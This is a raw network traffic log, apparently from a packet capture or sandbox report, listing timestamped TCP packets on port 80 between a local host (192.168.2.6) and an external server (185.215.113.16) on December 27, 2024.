Dec 27, 2024 08:52:21.993223906 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.994029999 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.994168997 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.994216919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.995006084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.995177031 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.995224953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.996049881 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.996095896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.996140957 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.996186018 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.997023106 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.997068882 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.997104883 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.997250080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.997997046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.998044968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.998095989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.998147011 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.998971939 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.999022007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.999085903 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:21.999146938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:21.999985933 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.000109911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.000175953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.001012087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.001063108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.001100063 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.001143932 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.002005100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.002062082 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.002196074 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.002242088 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.002964973 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.003056049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.003088951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.003127098 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.003964901 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.004018068 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.004055977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.004101038 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.004966021 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.005024910 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.005033970 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.005078077 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.005932093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.006038904 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.006094933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.006993055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.007102013 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.007159948 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.007891893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.007951021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.008013010 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.008060932 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.008904934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.008960962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.008996964 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.009044886 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.009872913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.009929895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.010019064 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.010066032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.010914087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.011100054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.011106014 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.011141062 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.011912107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.011965990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.012018919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.012851000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.012969017 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.012994051 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.013014078 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.013848066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.013899088 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.013957024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.013998985 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.014848948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.014906883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.014970064 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.015012980 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.015830040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.015882969 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.015947104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.015990973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.016834974 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.016890049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.016956091 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.017002106 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.017803907 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.017857075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.017915010 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.017957926 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.018812895 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.018865108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.018904924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.018949986 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.019799948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.019849062 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.019900084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.019942999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.020863056 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.020936966 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.020951033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.020998955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.021786928 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.021882057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.021924973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.022778034 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.022835970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.022871971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.022914886 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.023796082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.023870945 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.023884058 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.023926973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.024780989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.024842024 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.024861097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.024900913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.025912046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.025966883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.026002884 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.026047945 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.026724100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.026774883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.026817083 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.026859999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.027707100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.027760029 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.027854919 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.027899027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.028790951 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.028846025 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.028884888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.028929949 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.029715061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.029772997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.029812098 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.029856920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.030709982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.030769110 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.030854940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.030900955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.031708002 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.031780958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.031815052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.031867027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.032921076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.032979012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.033005953 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.033055067 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.033678055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.033739090 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.033777952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.033830881 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.034663916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.034718990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.034758091 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.034801960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.035783052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.035835981 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.035837889 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.035882950 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.036699057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.036751986 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.036756992 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.036791086 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.037628889 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.037688017 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.037735939 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.037780046 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.038621902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.038683891 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.038724899 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.038769960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.039669037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.039726973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.039733887 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.039779902 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.039794922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.040671110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.040731907 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.040735006 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.040776014 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.041596889 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.041663885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.181963921 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.182034969 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.182071924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.182142019 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.182387114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.182509899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.182518959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.182558060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.183320045 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.183366060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.183429003 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.183465958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.184309959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.184362888 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.184437990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.184483051 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.185300112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.185344934 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.185410023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.186289072 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.186351061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.186394930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.186403990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.186446905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.187333107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.187391043 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.187417984 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.187460899 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.188293934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.188380003 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.188422918 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.189276934 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.189325094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.189387083 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.189430952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.190305948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.190359116 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.190392971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.190434933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.191272020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.191349983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.191366911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.191409111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.192265034 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.192367077 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.192373037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.192409039 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.193262100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.193316936 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.193368912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.193979025 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.194283962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.194329023 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.194401979 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.194443941 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.195271015 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.195327044 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.195394039 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.195436001 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.196244955 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.196291924 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.196374893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.196419954 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.197247028 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.197297096 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.197345018 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.197386026 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.198203087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.198259115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.198293924 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.198337078 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.199187994 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.199300051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.199357033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.200181007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.200232029 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.200279951 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.200325966 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.201200008 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.201283932 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.201303005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.201397896 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.202152014 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.202212095 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.202251911 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.202299118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.203164101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.203267097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.203327894 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.204133987 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.204246044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.204291105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.205152988 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.205199957 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.205239058 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.205276966 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.206161976 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.206206083 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.206250906 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.206288099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.207112074 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.207207918 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.207252026 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.208178043 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.208230972 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.208275080 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.208317041 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.209137917 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.209184885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.209234953 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.209274054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.210119963 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.210166931 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.210211992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.210254908 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.211102009 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.211237907 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.211283922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.212084055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.212147951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.212188959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.212229967 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.213092089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.213139057 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.213188887 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.213226080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.214087963 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.214171886 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.214217901 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.215039968 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.215090036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.215146065 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.215186119 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.216056108 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.216109037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.216142893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.216187000 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.217003107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.217048883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.217118025 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.217159033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.218043089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.218133926 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.218180895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.218208075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.218995094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.219110012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.219140053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.219158888 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.220010042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.220088005 CET	80	49970	185.215.113.16	192.168.2.6
